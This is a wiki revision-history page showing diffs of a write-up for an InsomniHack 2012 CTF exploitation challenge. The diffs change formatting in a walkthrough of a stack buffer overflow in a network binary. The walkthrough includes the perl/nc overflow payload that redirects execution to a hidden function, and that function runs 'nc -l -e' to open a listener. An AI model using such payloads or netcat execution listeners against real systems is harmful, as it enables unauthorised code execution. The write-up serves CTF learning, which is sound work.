InsomniHack-2012/Exploitation/3 Taberne - Revision history

Rafioz0 at 12:03, 6 March 2012

2012-03-06T12:03:15Z

Rafioz0 at 21:30, 5 March 2012

2012-03-05T21:30:13Z

Rorist at 21:22, 5 March 2012

2012-03-05T21:22:22Z

Rafioz0 at 21:01, 5 March 2012

2012-03-05T21:01:59Z

Rafioz0 at 20:59, 5 March 2012

2012-03-05T20:59:45Z

Rafioz0 at 20:59, 5 March 2012

2012-03-05T20:59:01Z

Rafioz0 at 20:58, 5 March 2012

2012-03-05T20:58:02Z

Rafioz0 at 20:56, 5 March 2012

2012-03-05T20:56:57Z

Rafioz0 at 20:54, 5 March 2012

2012-03-05T20:54:14Z

Show changes

Rafioz0: Created page with "Bla"

2012-03-05T20:22:56Z

Created page with "Bla"

New page

Bla

@@ Line 96: / Line 96: @@
 d:       89 e5                   mov    ebp,esp
 f:       83 ec 28                sub    esp,0x28
-  8048892:       c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20 <------
+  8048892:       c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20
   8048899:       00
 a:       8d 45 f0                lea    eax,[ebp-0x10]
@@ Line 110: / Line 110: @@
 <syntaxhighlight lang="asm">
 (gdb) b *0x80488ad
 Breakpoint 1 at 0x80488ad

@@ Line 71: / Line 71: @@
 x41414141 in ?? ()
 </syntaxhighlight>
-The backtrace is definitely screwed, so we just have a quick look:
+The backtrace is definitely screwed,
 <syntaxhighlight lang="asm">

@@ Line 1: / Line 1: @@
 We downloaded a file called "toto",
-<pre>
+<syntaxhighlight lang="bash">
 # file toto
 toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
@@ Line 42: / Line 42: @@
 # ./toto 1234
-</pre>
+</syntaxhighlight>
 On a client, we get:
-<pre>
+<syntaxhighlight lang="bash">
 > nc 172.16.199.131 1234
 Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
 De dieu, tu t'en souviens pas? C'est balot!
-</pre>
+</syntaxhighlight>
 It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
-<pre>
+<syntaxhighlight lang="bash">
 # gdb -q ./toto
 (gdb) set follow-fork-mode child
@@ Line 58: / Line 58: @@
 (gdb) r 1234
 Starting program: /root/toto 1234
-</pre>
+</syntaxhighlight>
 On the client, let's do:
-<pre>
+<syntaxhighlight lang="bash">
 > echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
-</pre>
+</syntaxhighlight>
 And the server segfaults:
-<pre>
+<syntaxhighlight lang="bash">
 Program received signal SIGSEGV, Segmentation fault.
 [Switching to process 1962]
 x41414141 in ?? ()
-</pre>
+</syntaxhighlight>
 The backtrace is definitely screwed, so we just have a quick look:
-<pre>
+<syntaxhighlight lang="asm">
 0804888c <checkPass>:
@@ Line 88: / Line 88: @@
 ac:       c9                      leave
 ad:       c3                      ret
-</pre>
+</syntaxhighlight>
 We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
-<pre>
+<syntaxhighlight lang="asm">
 (gdb) b *0x80488ad
 Breakpoint 1 at 0x80488ad
@@ Line 105: / Line 105: @@
 xbfe019cc:	0xb5df0002	0x01c710ac	0x00000000	0x00000000
 xbfe019dc:	0xd4040002	0x00000000	0x00000000	0x00000000
-</pre>
+</syntaxhighlight>
 So we rewrote with 0x41414141. What to put here ?
 By having a very quick look at the binary, there is an interesting function called pwnthis:
-<pre>
+<syntaxhighlight lang="asm">
 (gdb) disassemble pwnthis
 Dump of assembler code for function pwnthis:
@@ Line 149: / Line 149: @@
 x0804888b <pwnthis+156>:	ret
-</pre>
+</syntaxhighlight>
@@ Line 155: / Line 155: @@
 So we are going to write the address to return there and break before the system to see the content:
-<pre>
+<syntaxhighlight lang="bash">
 > echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
-</pre>
+</syntaxhighlight>
 And on the server side:
-<pre>
+<syntaxhighlight lang="bash">
 Breakpoint 2, 0x0804887e in pwnthis ()
 (gdb) x /wx $esp
@@ Line 166: / Line 166: @@
 (gdb) x /s 0xbf9e3c83
 xbf9e3c83:	 "nc -l -e /tmp/showpass.sh -p 1128
-</pre>
+</syntaxhighlight>
 Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write
 So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
-<pre>
+<syntaxhighlight lang="bash">
 > nc 172.16.199.131 1128
-</pre>
+</syntaxhighlight>

@@ Line 168: / Line 168: @@
 </pre>
 Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write
-xbf9e3c83:	 "nc -l -e /tmp/showpass.sh -p 1128"
 So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.

@@ Line 1: / Line 1: @@
 We downloaded a file called "toto",
 <pre>
@@ Line 90: / Line 89: @@
 ad:       c3                      ret
 </pre>
 We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
 <pre>
@@ Line 101: / Line 97: @@
 (gdb) b *0x80488ad
 Breakpoint 1 at 0x80488ad
+(gdb) c
-−
 Breakpoint 1, 0x080488ad in checkPass ()
 Current language:  auto; currently asm